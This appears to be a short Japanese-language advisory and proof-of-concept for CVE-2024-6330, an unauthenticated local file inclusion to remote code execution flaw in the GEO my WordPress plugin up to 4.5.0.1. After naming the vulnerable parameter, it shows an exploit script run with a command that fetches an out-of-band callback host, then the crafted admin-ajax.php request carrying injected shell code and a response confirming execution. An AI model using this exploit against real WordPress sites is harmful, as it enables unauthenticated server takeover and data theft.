
GEO my WordPress < 4.5.0.2 - 認証なしLFIからRCE/PHARデシリアライゼーション
GEO my WordPress <= 4.5.0.1 - 未認証のローカルファイルインクルージョン
WordPress用GEO my WPプラグインは、全バージョン(4.5.0.1を含む)において、'form[info_window_template][content_path]'パラメータを介したローカルファイルインクルージョンに対して脆弱です。これにより、認証されていない攻撃者がサーバー上の任意のファイルをインクルードして実行することが可能になり、それらのファイル内の任意のPHPコードを実行できるようになります。これは、アクセス制御をバイパスしたり、機密データを取得したり、画像やその他の「安全な」ファイルタイプがアップロードされてインクルードされる場合にコード実行を達成するために使用される可能性があります。
python3 CVE-2024-6330.py --url https://wp-dev.ddev.site --proxy http://127.0.0.1:8080 --execute="curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site"
[*] Starting security test...
[*] Initial visit to https://wp-dev.ddev.site: 200
[+] Testing object_id: 1
[+] URL: https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=gmw_info_window_init&0=echo%20Command%20Output:%20$(curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site)
[+] Status Code: 200
[+] Response Content:
Command Output: <html><body>ivv900fnzbln0dem43z7zmzjjgigz</body></html>